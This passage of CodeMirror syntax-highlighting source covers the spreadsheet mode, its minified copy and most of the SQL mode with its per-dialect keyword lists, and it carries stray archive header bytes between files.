        var peek = stream.peek();

        //no stack
        switch (peek) {
        case "[":
          stream.next();
          state.stack.unshift("characterClass");
          return "bracket";
        case ":":
          stream.next();
          return "operator";
        case "\\":
          if (stream.match(/\\[a-z]+/)) return "string-2";
          else {
            stream.next();
            return "atom";
          }
        case ".":
        case ",":
        case ";":
        case "*":
        case "-":
        case "+":
        case "^":
        case "<":
        case "/":
        case "=":
          stream.next();
          return "atom";
        case "$":
          stream.next();
          return "builtin";
        }

        if (stream.match(/\d+/)) {
          if (stream.match(/^\w+/)) return "error";
          return "number";
        } else if (stream.match(/^[a-zA-Z_]\w*/)) {
          if (stream.match(/(?=[\(.])/, false)) return "keyword";
          return "variable-2";
        } else if (["[", "]", "(",
")", "{", "}"].indexOf(peek) != -1) {
          stream.next();
          return "bracket";
        } else if (!stream.eatSpace()) {
          stream.next();
        }
        return null;
      }
    };
  });

  CodeMirror.defineMIME("text/x-spreadsheet",
"spreadsheet");
});
PKJ��[3��ss.codemirror/mode/spreadsheet/spreadsheet.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("spreadsheet",(function(){return{startState:function(){return{stringType:null,stack:[]}},token:function(a,b){if(a){switch(0===b.stack.length&&('"'!=a.peek()&&"'"!=a.peek()||(b.stringType=a.peek(),a.next(),b.stack.unshift("string"))),b.stack[0]){case"string":for(;"string"===b.stack[0]&&!a.eol();)a.peek()===b.stringType?(a.next(),b.stack.shift()):"\\"===a.peek()?(a.next(),a.next()):a.match(/^.[^\\\"\']*/);return"string";case"characterClass":for(;"characterClass"===b.stack[0]&&!a.eol();)a.match(/^[^\]\\]+/)||a.match(/^\\./)||b.stack.shift();return"operator"}var
c=a.peek();switch(c){case"[":return
a.next(),b.stack.unshift("characterClass"),"bracket";case":":return
a.next(),"operator";case"\\":return
a.match(/\\[a-z]+/)?"string-2":(a.next(),"atom");case".":case",":case";":case"*":case"-":case"+":case"^":case"<":case"/":case"=":return
a.next(),"atom";case"$":return
a.next(),"builtin"}return
a.match(/\d+/)?a.match(/^\w+/)?"error":"number":a.match(/^[a-zA-Z_]\w*/)?a.match(/(?=[\(.])/,!1)?"keyword":"variable-2":-1!=["[","]","(",")","{","}"].indexOf(c)?(a.next(),"bracket"):(a.eatSpace()||a.next(),null)}}}})),a.defineMIME("text/x-spreadsheet","spreadsheet")}));PKJ��[J�z�����codemirror/mode/sql/sql.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("sql", function(config, parserConfig) {
  var client         = parserConfig.client || {},
      atoms          = parserConfig.atoms || {"false": true,
"true": true, "null": true},
      builtin        = parserConfig.builtin || set(defaultBuiltin),
      keywords       = parserConfig.keywords || set(sqlKeywords),
      operatorChars  = parserConfig.operatorChars ||
/^[*+\-%<>!=&|~^\/]/,
      support        = parserConfig.support || {},
      hooks          = parserConfig.hooks || {},
      dateSQL        = parserConfig.dateSQL || {"date" : true,
"time" : true, "timestamp" : true},
      backslashStringEscapes = parserConfig.backslashStringEscapes !==
false,
      brackets       = parserConfig.brackets || /^[\{}\(\)\[\]]/,
      punctuation    = parserConfig.punctuation || /^[;.,:]/

  function tokenBase(stream, state) {
    var ch = stream.next();

    // call hooks from the mime type
    if (hooks[ch]) {
      var result = hooks[ch](stream, state);
      if (result !== false) return result;
    }

    if (support.hexNumber &&
      ((ch == "0" && stream.match(/^[xX][0-9a-fA-F]+/))
      || (ch == "x" || ch == "X") &&
stream.match(/^'[0-9a-fA-F]+'/))) {
      // hex
      // ref:
http://dev.mysql.com/doc/refman/5.5/en/hexadecimal-literals.html
      return "number";
    } else if (support.binaryNumber &&
      (((ch == "b" || ch == "B") &&
stream.match(/^'[01]+'/))
      || (ch == "0" && stream.match(/^b[01]+/)))) {
      // bitstring
      // ref:
http://dev.mysql.com/doc/refman/5.5/en/bit-field-literals.html
      return "number";
    } else if (ch.charCodeAt(0) > 47 && ch.charCodeAt(0) <
58) {
      // numbers
      // ref: http://dev.mysql.com/doc/refman/5.5/en/number-literals.html
      stream.match(/^[0-9]*(\.[0-9]+)?([eE][-+]?[0-9]+)?/);
      support.decimallessFloat && stream.match(/^\.(?!\.)/);
      return "number";
    } else if (ch == "?" && (stream.eatSpace() ||
stream.eol() || stream.eat(";"))) {
      // placeholders
      return "variable-3";
    } else if (ch == "'" || (ch == '"'
&& support.doubleQuote)) {
      // strings
      // ref: http://dev.mysql.com/doc/refman/5.5/en/string-literals.html
      state.tokenize = tokenLiteral(ch);
      return state.tokenize(stream, state);
    } else if ((((support.nCharCast && (ch == "n" || ch
== "N"))
        || (support.charsetCast && ch == "_" &&
stream.match(/[a-z][a-z0-9]*/i)))
        && (stream.peek() == "'" || stream.peek() ==
'"'))) {
      // charset casting: _utf8'str', N'str',
n'str'
      // ref: http://dev.mysql.com/doc/refman/5.5/en/string-literals.html
      return "keyword";
    } else if (support.escapeConstant && (ch == "e" || ch
== "E")
        && (stream.peek() == "'" || (stream.peek()
== '"' && support.doubleQuote))) {
      // escape constant: E'str', e'str'
      // ref:
https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-STRINGS-ESCAPE
      state.tokenize = function(stream, state) {
        return (state.tokenize = tokenLiteral(stream.next(), true))(stream,
state);
      }
      return "keyword";
    } else if (support.commentSlashSlash && ch == "/"
&& stream.eat("/")) {
      // 1-line comment
      stream.skipToEnd();
      return "comment";
    } else if ((support.commentHash && ch == "#")
        || (ch == "-" && stream.eat("-")
&& (!support.commentSpaceRequired || stream.eat(" ")))) {
      // 1-line comments
      // ref: https://kb.askmonty.org/en/comment-syntax/
      stream.skipToEnd();
      return "comment";
    } else if (ch == "/" && stream.eat("*")) {
      // multi-line comments
      // ref: https://kb.askmonty.org/en/comment-syntax/
      state.tokenize = tokenComment(1);
      return state.tokenize(stream, state);
    } else if (ch == ".") {
      // .1 for 0.1
      if (support.zerolessFloat &&
stream.match(/^(?:\d+(?:e[+-]?\d+)?)/i))
        return "number";
      if (stream.match(/^\.+/))
        return null
      // .table_name (ODBC)
      // // ref:
http://dev.mysql.com/doc/refman/5.6/en/identifier-qualifiers.html
      if (support.ODBCdotTable && stream.match(/^[\w\d_$#]+/))
        return "variable-2";
    } else if (operatorChars.test(ch)) {
      // operators
      stream.eatWhile(operatorChars);
      return "operator";
    } else if (brackets.test(ch)) {
      // brackets
      return "bracket";
    } else if (punctuation.test(ch)) {
      // punctuation
      stream.eatWhile(punctuation);
      return "punctuation";
    } else if (ch == '{' &&
        (stream.match(/^( )*(d|D|t|T|ts|TS)( )*'[^']*'(
)*}/) || stream.match(/^( )*(d|D|t|T|ts|TS)( )*"[^"]*"(
)*}/))) {
      // dates (weird ODBC syntax)
      // ref:
http://dev.mysql.com/doc/refman/5.5/en/date-and-time-literals.html
      return "number";
    } else {
      stream.eatWhile(/^[_\w\d]/);
      var word = stream.current().toLowerCase();
      // dates (standard SQL syntax)
      // ref:
http://dev.mysql.com/doc/refman/5.5/en/date-and-time-literals.html
      if (dateSQL.hasOwnProperty(word) && (stream.match(/^(
)+'[^']*'/) || stream.match(/^( )+"[^"]*"/)))
        return "number";
      if (atoms.hasOwnProperty(word)) return "atom";
      if (builtin.hasOwnProperty(word)) return "builtin";
      if (keywords.hasOwnProperty(word)) return "keyword";
      if (client.hasOwnProperty(word)) return "string-2";
      return null;
    }
  }

  // 'string', with char specified in quote escaped by
'\'
  function tokenLiteral(quote, backslashEscapes) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped) {
          state.tokenize = tokenBase;
          break;
        }
        escaped = (backslashStringEscapes || backslashEscapes) &&
!escaped && ch == "\\";
      }
      return "string";
    };
  }
  function tokenComment(depth) {
    return function(stream, state) {
      var m = stream.match(/^.*?(\/\*|\*\/)/)
      if (!m) stream.skipToEnd()
      else if (m[1] == "/*") state.tokenize = tokenComment(depth
+ 1)
      else if (depth > 1) state.tokenize = tokenComment(depth - 1)
      else state.tokenize = tokenBase
      return "comment"
    }
  }

  function pushContext(stream, state, type) {
    state.context = {
      prev: state.context,
      indent: stream.indentation(),
      col: stream.column(),
      type: type
    };
  }

  function popContext(state) {
    state.indent = state.context.indent;
    state.context = state.context.prev;
  }

  return {
    startState: function() {
      return {tokenize: tokenBase, context: null};
    },

    token: function(stream, state) {
      if (stream.sol()) {
        if (state.context && state.context.align == null)
          state.context.align = false;
      }
      if (state.tokenize == tokenBase && stream.eatSpace()) return
null;

      var style = state.tokenize(stream, state);
      if (style == "comment") return style;

      if (state.context && state.context.align == null)
        state.context.align = true;

      var tok = stream.current();
      if (tok == "(")
        pushContext(stream, state, ")");
      else if (tok == "[")
        pushContext(stream, state, "]");
      else if (state.context && state.context.type == tok)
        popContext(state);
      return style;
    },

    indent: function(state, textAfter) {
      var cx = state.context;
      if (!cx) return CodeMirror.Pass;
      var closing = textAfter.charAt(0) == cx.type;
      if (cx.align) return cx.col + (closing ? 0 : 1);
      else return cx.indent + (closing ? 0 : config.indentUnit);
    },

    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    lineComment: support.commentSlashSlash ? "//" :
support.commentHash ? "#" : "--",
    closeBrackets: "()[]{}''\"\"``"
  };
});

  // `identifier`
  function hookIdentifier(stream) {
    // MySQL/MariaDB identifiers
    // ref:
http://dev.mysql.com/doc/refman/5.6/en/identifier-qualifiers.html
    var ch;
    while ((ch = stream.next()) != null) {
      if (ch == "`" && !stream.eat("`")) return
"variable-2";
    }
    stream.backUp(stream.current().length - 1);
    return stream.eatWhile(/\w/) ? "variable-2" : null;
  }

  // "identifier"
  function hookIdentifierDoublequote(stream) {
    // Standard SQL /SQLite identifiers
    // ref:
http://web.archive.org/web/20160813185132/http://savage.net.au/SQL/sql-99.bnf.html#delimited%20identifier
    // ref: http://sqlite.org/lang_keywords.html
    var ch;
    while ((ch = stream.next()) != null) {
      if (ch == "\"" &&
!stream.eat("\"")) return "variable-2";
    }
    stream.backUp(stream.current().length - 1);
    return stream.eatWhile(/\w/) ? "variable-2" : null;
  }

  // variable token
  function hookVar(stream) {
    // variables
    // @@prefix.varName @varName
    // varName can be quoted with ` or ' or "
    // ref: http://dev.mysql.com/doc/refman/5.5/en/user-variables.html
    if (stream.eat("@")) {
      stream.match(/^session\./);
      stream.match(/^local\./);
      stream.match(/^global\./);
    }

    if (stream.eat("'")) {
      stream.match(/^.*'/);
      return "variable-2";
    } else if (stream.eat('"')) {
      stream.match(/^.*"/);
      return "variable-2";
    } else if (stream.eat("`")) {
      stream.match(/^.*`/);
      return "variable-2";
    } else if (stream.match(/^[0-9a-zA-Z$\.\_]+/)) {
      return "variable-2";
    }
    return null;
  };

  // short client keyword token
  function hookClient(stream) {
    // \N means NULL
    // ref: http://dev.mysql.com/doc/refman/5.5/en/null-values.html
    if (stream.eat("N")) {
        return "atom";
    }
    // \g, etc
    // ref: http://dev.mysql.com/doc/refman/5.5/en/mysql-commands.html
    return stream.match(/^[a-zA-Z.#!?]/) ? "variable-2" : null;
  }

  // these keywords are used by all SQL dialects (however, a mode can still
overwrite it)
  var sqlKeywords = "alter and as asc between by count create delete
desc distinct drop from group having in insert into is join like not on or
order select set table union update values where limit ";

  // turn a space-separated list into an array
  function set(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  var defaultBuiltin = "bool boolean bit blob enum long longblob
longtext medium mediumblob mediumint mediumtext time timestamp tinyblob
tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer float
float4 float8 double char varbinary varchar varcharacter precision real
date datetime year unsigned signed decimal numeric"

  // A generic SQL Mode. It's not a standard, it just try to support
what is generally supported
  CodeMirror.defineMIME("text/x-sql", {
    name: "sql",
    keywords: set(sqlKeywords + "begin"),
    builtin: set(defaultBuiltin),
    atoms: set("false true null unknown"),
    dateSQL: set("date time timestamp"),
    support: set("ODBCdotTable doubleQuote binaryNumber
hexNumber")
  });

  CodeMirror.defineMIME("text/x-mssql", {
    name: "sql",
    client: set("$partition binary_checksum checksum
connectionproperty context_info current_request_id error_line error_message
error_number error_procedure error_severity error_state formatmessage
get_filestream_transaction_context getansinull host_id host_name isnull
isnumeric min_active_rowversion newid newsequentialid rowcount_big
xact_state object_id"),
    keywords: set(sqlKeywords + "begin trigger proc view index for add
constraint key primary foreign collate clustered nonclustered declare exec
go if use index holdlock nolock nowait paglock readcommitted
readcommittedlock readpast readuncommitted repeatableread rowlock
serializable snapshot tablock tablockx updlock with"),
    builtin: set("bigint numeric bit smallint decimal smallmoney int
tinyint money float real char varchar text nchar nvarchar ntext binary
varbinary image cursor timestamp hierarchyid uniqueidentifier sql_variant
xml table "),
    atoms: set("is not null like and or in left right between inner
outer join all any some cross unpivot pivot exists"),
    operatorChars: /^[*+\-%<>!=^\&|\/]/,
    brackets: /^[\{}\(\)]/,
    punctuation: /^[;.,:/]/,
    backslashStringEscapes: false,
    dateSQL: set("date datetimeoffset datetime2 smalldatetime datetime
time"),
    hooks: {
      "@":   hookVar
    }
  });

  CodeMirror.defineMIME("text/x-mysql", {
    name: "sql",
    client: set("charset clear connect edit ego exit go help nopager
notee nowarning pager print prompt quit rehash source status system
tee"),
    keywords: set(sqlKeywords + "accessible action add after algorithm
all analyze asensitive at authors auto_increment autocommit avg
avg_row_length before binary binlog both btree cache call cascade cascaded
case catalog_name chain change changed character check checkpoint checksum
class_origin client_statistics close coalesce code collate collation
collations column columns comment commit committed completion concurrent
condition connection consistent constraint contains continue contributors
convert cross current current_date current_time current_timestamp
current_user cursor data database databases day_hour day_microsecond
day_minute day_second deallocate dec declare default delay_key_write
delayed delimiter des_key_file describe deterministic dev_pop dev_samp
deviance diagnostics directory disable discard distinctrow div dual
dumpfile each elseif enable enclosed end ends engine engines enum errors
escape escaped even event events every execute exists exit explain extended
fast fetch field fields first flush for force foreign found_rows full
fulltext function general get global grant grants group group_concat
handler hash help high_priority hosts hour_microsecond hour_minute
hour_second if ignore ignore_server_ids import index index_statistics
infile inner innodb inout insensitive insert_method install interval
invoker isolation iterate key keys kill language last leading leave left
level limit linear lines list load local localtime localtimestamp lock logs
low_priority master master_heartbeat_period master_ssl_verify_server_cert
masters match max max_rows maxvalue message_text middleint migrate min
min_rows minute_microsecond minute_second mod mode modifies modify mutex
mysql_errno natural next no no_write_to_binlog offline offset one online
open optimize option optionally out outer outfile pack_keys parser
partition partitions password phase plugin plugins prepare preserve prev
primary privileges procedure processlist profile profiles purge query quick
range read read_write reads real rebuild recover references regexp relaylog
release remove rename reorganize repair repeatable replace require resignal
restrict resume return returns revoke right rlike rollback rollup row
row_format rtree savepoint schedule schema schema_name schemas
second_microsecond security sensitive separator serializable server session
share show signal slave slow smallint snapshot soname spatial specific sql
sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_no_cache
sql_small_result sqlexception sqlstate sqlwarning ssl start starting starts
status std stddev stddev_pop stddev_samp storage straight_join
subclass_origin sum suspend table_name table_statistics tables tablespace
temporary terminated to trailing transaction trigger triggers truncate
uncommitted undo uninstall unique unlock upgrade usage use use_frm user
user_resources user_statistics using utc_date utc_time utc_timestamp value
variables varying view views warnings when while with work write xa xor
year_month zerofill begin do then else loop repeat"),
    builtin: set("bool boolean bit blob decimal double float long
longblob longtext medium mediumblob mediumint mediumtext time timestamp
tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer
float float4 float8 double char varbinary varchar varcharacter precision
date datetime year unsigned signed numeric"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=&|^]/,
    dateSQL: set("date time timestamp"),
    support: set("ODBCdotTable decimallessFloat zerolessFloat
binaryNumber hexNumber doubleQuote nCharCast charsetCast commentHash
commentSpaceRequired"),
    hooks: {
      "@":   hookVar,
      "`":   hookIdentifier,
      "\\":  hookClient
    }
  });

  CodeMirror.defineMIME("text/x-mariadb", {
    name: "sql",
    client: set("charset clear connect edit ego exit go help nopager
notee nowarning pager print prompt quit rehash source status system
tee"),
    keywords: set(sqlKeywords + "accessible action add after algorithm
all always analyze asensitive at authors auto_increment autocommit avg
avg_row_length before binary binlog both btree cache call cascade cascaded
case catalog_name chain change changed character check checkpoint checksum
class_origin client_statistics close coalesce code collate collation
collations column columns comment commit committed completion concurrent
condition connection consistent constraint contains continue contributors
convert cross current current_date current_time current_timestamp
current_user cursor data database databases day_hour day_microsecond
day_minute day_second deallocate dec declare default delay_key_write
delayed delimiter des_key_file describe deterministic dev_pop dev_samp
deviance diagnostics directory disable discard distinctrow div dual
dumpfile each elseif enable enclosed end ends engine engines enum errors
escape escaped even event events every execute exists exit explain extended
fast fetch field fields first flush for force foreign found_rows full
fulltext function general generated get global grant grants group
groupby_concat handler hard hash help high_priority hosts hour_microsecond
hour_minute hour_second if ignore ignore_server_ids import index
index_statistics infile inner innodb inout insensitive insert_method
install interval invoker isolation iterate key keys kill language last
leading leave left level limit linear lines list load local localtime
localtimestamp lock logs low_priority master master_heartbeat_period
master_ssl_verify_server_cert masters match max max_rows maxvalue
message_text middleint migrate min min_rows minute_microsecond
minute_second mod mode modifies modify mutex mysql_errno natural next no
no_write_to_binlog offline offset one online open optimize option
optionally out outer outfile pack_keys parser partition partitions password
persistent phase plugin plugins prepare preserve prev primary privileges
procedure processlist profile profiles purge query quick range read
read_write reads real rebuild recover references regexp relaylog release
remove rename reorganize repair repeatable replace require resignal
restrict resume return returns revoke right rlike rollback rollup row
row_format rtree savepoint schedule schema schema_name schemas
second_microsecond security sensitive separator serializable server session
share show shutdown signal slave slow smallint snapshot soft soname spatial
specific sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows
sql_no_cache sql_small_result sqlexception sqlstate sqlwarning ssl start
starting starts status std stddev stddev_pop stddev_samp storage
straight_join subclass_origin sum suspend table_name table_statistics
tables tablespace temporary terminated to trailing transaction trigger
triggers truncate uncommitted undo uninstall unique unlock upgrade usage
use use_frm user user_resources user_statistics using utc_date utc_time
utc_timestamp value variables varying view views virtual warnings when
while with work write xa xor year_month zerofill begin do then else loop
repeat"),
    builtin: set("bool boolean bit blob decimal double float long
longblob longtext medium mediumblob mediumint mediumtext time timestamp
tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer
float float4 float8 double char varbinary varchar varcharacter precision
date datetime year unsigned signed numeric"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=&|^]/,
    dateSQL: set("date time timestamp"),
    support: set("ODBCdotTable decimallessFloat zerolessFloat
binaryNumber hexNumber doubleQuote nCharCast charsetCast commentHash
commentSpaceRequired"),
    hooks: {
      "@":   hookVar,
      "`":   hookIdentifier,
      "\\":  hookClient
    }
  });

  // provided by the phpLiteAdmin project - phpliteadmin.org
  CodeMirror.defineMIME("text/x-sqlite", {
    name: "sql",
    // commands of the official SQLite client, ref:
https://www.sqlite.org/cli.html#dotcmd
    client: set("auth backup bail binary changes check clone databases
dbinfo dump echo eqp exit explain fullschema headers help import imposter
indexes iotrace limit lint load log mode nullvalue once open output print
prompt quit read restore save scanstats schema separator session shell show
stats system tables testcase timeout timer trace vfsinfo vfslist vfsname
width"),
    // ref: http://sqlite.org/lang_keywords.html
    keywords: set(sqlKeywords + "abort action add after all analyze
attach autoincrement before begin cascade case cast check collate column
commit conflict constraint cross current_date current_time
current_timestamp database default deferrable deferred detach each else end
escape except exclusive exists explain fail for foreign full glob if ignore
immediate index indexed initially inner instead intersect isnull key left
limit match natural no notnull null of offset outer plan pragma primary
query raise recursive references regexp reindex release rename replace
restrict right rollback row savepoint temp temporary then to transaction
trigger unique using vacuum view virtual when with without"),
    // SQLite is weakly typed, ref: http://sqlite.org/datatype3.html. This
is just a list of some common types.
    builtin: set("bool boolean bit blob decimal double float long
longblob longtext medium mediumblob mediumint mediumtext time timestamp
tinyblob tinyint tinytext text clob bigint int int2 int8 integer float
double char varchar date datetime year unsigned signed numeric real"),
    // ref: http://sqlite.org/syntax/literal-value.html
    atoms: set("null current_date current_time
current_timestamp"),
    // ref: http://sqlite.org/lang_expr.html#binaryops
    operatorChars: /^[*+\-%<>!=&|/~]/,
    // SQLite is weakly typed, ref: http://sqlite.org/datatype3.html. This
is just a list of some common types.
    dateSQL: set("date time timestamp datetime"),
    support: set("decimallessFloat zerolessFloat"),
    identifierQuote: "\"",  //ref:
http://sqlite.org/lang_keywords.html
    hooks: {
      // bind-parameters ref:http://sqlite.org/lang_expr.html#varparam
      "@":   hookVar,
      ":":   hookVar,
      "?":   hookVar,
      "$":   hookVar,
      // The preferred way to escape Identifiers is using double quotes,
ref: http://sqlite.org/lang_keywords.html
      "\"":   hookIdentifierDoublequote,
      // there is also support for backtics, ref:
http://sqlite.org/lang_keywords.html
      "`":   hookIdentifier
    }
  });

  // the query language used by Apache Cassandra is called CQL, but this
mime type
  // is called Cassandra to avoid confusion with Contextual Query Language
  CodeMirror.defineMIME("text/x-cassandra", {
    name: "sql",
    client: { },
    keywords: set("add all allow alter and any apply as asc authorize
batch begin by clustering columnfamily compact consistency count create
custom delete desc distinct drop each_quorum exists filtering from grant if
in index insert into key keyspace keyspaces level limit local_one
local_quorum modify nan norecursive nosuperuser not of on one order
password permission permissions primary quorum rename revoke schema select
set storage superuser table three to token truncate ttl two type unlogged
update use user users using values where with writetime"),
    builtin: set("ascii bigint blob boolean counter decimal double
float frozen inet int list map static text timestamp timeuuid tuple uuid
varchar varint"),
    atoms: set("false true infinity NaN"),
    operatorChars: /^[<>=]/,
    dateSQL: { },
    support: set("commentSlashSlash decimallessFloat"),
    hooks: { }
  });

  // this is based on Peter Raganitsch's 'plsql' mode
  CodeMirror.defineMIME("text/x-plsql", {
    name:       "sql",
    client:     set("appinfo arraysize autocommit autoprint
autorecovery autotrace blockterminator break btitle cmdsep colsep
compatibility compute concat copycommit copytypecheck define describe echo
editfile embedded escape exec execute feedback flagger flush heading
headsep instance linesize lno loboffset logsource long longchunksize markup
native newpage numformat numwidth pagesize pause pno recsep recsepchar
release repfooter repheader serveroutput shiftinout show showmode size
spool sqlblanklines sqlcase sqlcode sqlcontinue sqlnumber
sqlpluscompatibility sqlprefix sqlprompt sqlterminator suffix tab term
termout time timing trimout trimspool ttitle underline verify version
wrap"),
    keywords:   set("abort accept access add all alter and any array
arraylen as asc assert assign at attributes audit authorization avg
base_table begin between binary_integer body boolean by case cast char
char_base check close cluster clusters colauth column comment commit
compress connect connected constant constraint crash create current currval
cursor data_base database date dba deallocate debugoff debugon decimal
declare default definition delay delete desc digits dispose distinct do
drop else elseif elsif enable end entry escape exception exception_init
exchange exclusive exists exit external fast fetch file for force form from
function generic goto grant group having identified if immediate in
increment index indexes indicator initial initrans insert interface
intersect into is key level library like limited local lock log logging
long loop master maxextents maxtrans member minextents minus mislabel mode
modify multiset new next no noaudit nocompress nologging noparallel not
nowait number_base object of off offline on online only open option or
order out package parallel partition pctfree pctincrease pctused
pls_integer positive positiven pragma primary prior private privileges
procedure public raise range raw read rebuild record ref references refresh
release rename replace resource restrict return returning returns reverse
revoke rollback row rowid rowlabel rownum rows run savepoint schema segment
select separate session set share snapshot some space split sql start
statement storage subtype successful synonym tabauth table tables
tablespace task terminate then to trigger truncate type union unique
unlimited unrecoverable unusable update use using validate value values
variable view views when whenever where while with work"),
    builtin:    set("abs acos add_months ascii asin atan atan2 average
bfile bfilename bigserial bit blob ceil character chartorowid chr clob
concat convert cos cosh count dec decode deref dual dump dup_val_on_index
empty error exp false float floor found glb greatest hextoraw initcap instr
instrb int integer isopen last_day least length lengthb ln lower lpad ltrim
lub make_ref max min mlslabel mod months_between natural naturaln nchar
nclob new_time next_day nextval nls_charset_decl_len nls_charset_id
nls_charset_name nls_initcap nls_lower nls_sort nls_upper nlssort
no_data_found notfound null number numeric nvarchar2 nvl others power
rawtohex real reftohex round rowcount rowidtochar rowtype rpad rtrim serial
sign signtype sin sinh smallint soundex sqlcode sqlerrm sqrt stddev string
substr substrb sum sysdate tan tanh to_char text to_date to_label
to_multi_byte to_number to_single_byte translate true trunc uid unlogged
upper user userenv varchar varchar2 variance varying vsize xml"),
    operatorChars: /^[*\/+\-%<>!=~]/,
    dateSQL:    set("date time timestamp"),
    support:    set("doubleQuote nCharCast zerolessFloat binaryNumber
hexNumber")
  });

  // Created to support specific hive keywords
  CodeMirror.defineMIME("text/x-hive", {
    name: "sql",
    keywords: set("select alter $elem$ $key$ $value$ add after all
analyze and archive as asc before between binary both bucket buckets by
cascade case cast change cluster clustered clusterstatus collection column
columns comment compute concatenate continue create cross cursor data
database databases dbproperties deferred delete delimited desc describe
directory disable distinct distribute drop else enable end escaped
exclusive exists explain export extended external fetch fields fileformat
first format formatted from full function functions grant group having
hold_ddltime idxproperties if import in index indexes inpath inputdriver
inputformat insert intersect into is items join keys lateral left like
limit lines load local location lock locks mapjoin materialized minus msck
no_drop nocompress not of offline on option or order out outer outputdriver
outputformat overwrite partition partitioned partitions percent plus
preserve procedure purge range rcfile read readonly reads rebuild
recordreader recordwriter recover reduce regexp rename repair replace
restrict revoke right rlike row schema schemas semi sequencefile serde
serdeproperties set shared show show_database sort sorted ssl statistics
stored streamtable table tables tablesample tblproperties temporary
terminated textfile then tmp to touch transform trigger unarchive undo
union uniquejoin unlock update use using utc utc_tmestamp view when where
while with admin authorization char compact compactions conf cube current
current_date current_timestamp day decimal defined dependency directories
elem_type exchange file following for grouping hour ignore inner interval
jar less logical macro minute month more none noscan over owner partialscan
preceding pretty principals protection reload rewrite role roles rollup
rows second server sets skewed transactions truncate unbounded unset uri
user values window year"),
    builtin: set("bool boolean long timestamp tinyint smallint bigint
int float double date datetime unsigned string array struct map uniontype
key_type utctimestamp value_type varchar"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=]/,
    dateSQL: set("date timestamp"),
    support: set("ODBCdotTable doubleQuote binaryNumber
hexNumber")
  });

  CodeMirror.defineMIME("text/x-pgsql", {
    name: "sql",
    client: set("source"),
    // For PostgreSQL -
https://www.postgresql.org/docs/11/sql-keywords-appendix.html
    // For pl/pgsql lang -
https://github.com/postgres/postgres/blob/REL_11_2/src/pl/plpgsql/src/pl_scanner.c
    keywords: set(sqlKeywords + "a abort abs absent absolute access
according action ada add admin after aggregate alias all allocate also
alter always analyse analyze and any are array array_agg
array_max_cardinality as asc asensitive assert assertion assignment
asymmetric at atomic attach attribute attributes authorization avg backward
base64 before begin begin_frame begin_partition bernoulli between bigint
binary bit bit_length blob blocked bom boolean both breadth by c cache call
called cardinality cascade cascaded case cast catalog catalog_name ceil
ceiling chain char char_length character character_length
character_set_catalog character_set_name character_set_schema
characteristics characters check checkpoint class class_origin clob close
cluster coalesce cobol collate collation collation_catalog collation_name
collation_schema collect column column_name columns command_function
command_function_code comment comments commit committed concurrently
condition condition_number configuration conflict connect connection
connection_name constant constraint constraint_catalog constraint_name
constraint_schema constraints constructor contains content continue control
conversion convert copy corr corresponding cost count covar_pop covar_samp
create cross csv cube cume_dist current current_catalog current_date
current_default_transform_group current_path current_role current_row
current_schema current_time current_timestamp
current_transform_group_for_type current_user cursor cursor_name cycle data
database datalink datatype date datetime_interval_code
datetime_interval_precision day db deallocate debug dec decimal declare
default defaults deferrable deferred defined definer degree delete
delimiter delimiters dense_rank depends depth deref derived desc describe
descriptor detach detail deterministic diagnostics dictionary disable
discard disconnect dispatch distinct dlnewcopy dlpreviouscopy dlurlcomplete
dlurlcompleteonly dlurlcompletewrite dlurlpath dlurlpathonly dlurlpathwrite
dlurlscheme dlurlserver dlvalue do document domain double drop dump dynamic
dynamic_function dynamic_function_code each element else elseif elsif empty
enable encoding encrypted end end_frame end_partition endexec enforced enum
equals errcode error escape event every except exception exclude excluding
exclusive exec execute exists exit exp explain expression extension
external extract false family fetch file filter final first first_value
flag float floor following for force foreach foreign fortran forward found
frame_row free freeze from fs full function functions fusion g general
generated get global go goto grant granted greatest group grouping groups
handler having header hex hierarchy hint hold hour id identity if ignore
ilike immediate immediately immutable implementation implicit import in
include including increment indent index indexes indicator info inherit
inherits initially inline inner inout input insensitive insert instance
instantiable instead int integer integrity intersect intersection interval
into invoker is isnull isolation join k key key_member key_type label lag
language large last last_value lateral lead leading leakproof least left
length level library like like_regex limit link listen ln load local
localtime localtimestamp location locator lock locked log logged loop lower
m map mapping match matched materialized max max_cardinality maxvalue
member merge message message_length message_octet_length message_text
method min minute minvalue mod mode modifies module month more move
multiset mumps name names namespace national natural nchar nclob nesting
new next nfc nfd nfkc nfkd nil no none normalize normalized not nothing
notice notify notnull nowait nth_value ntile null nullable nullif nulls
number numeric object occurrences_regex octet_length octets of off offset
oids old on only open operator option options or order ordering ordinality
others out outer output over overlaps overlay overriding owned owner p pad
parallel parameter parameter_mode parameter_name parameter_ordinal_position
parameter_specific_catalog parameter_specific_name
parameter_specific_schema parser partial partition pascal passing
passthrough password path percent percent_rank percentile_cont
percentile_disc perform period permission pg_context pg_datatype_name
pg_exception_context pg_exception_detail pg_exception_hint placing plans
pli policy portion position position_regex power precedes preceding
precision prepare prepared preserve primary print_strict_params prior
privileges procedural procedure procedures program public publication query
quote raise range rank read reads real reassign recheck recovery recursive
ref references referencing refresh regr_avgx regr_avgy regr_count
regr_intercept regr_r2 regr_slope regr_sxx regr_sxy regr_syy reindex
relative release rename repeatable replace replica requiring reset respect
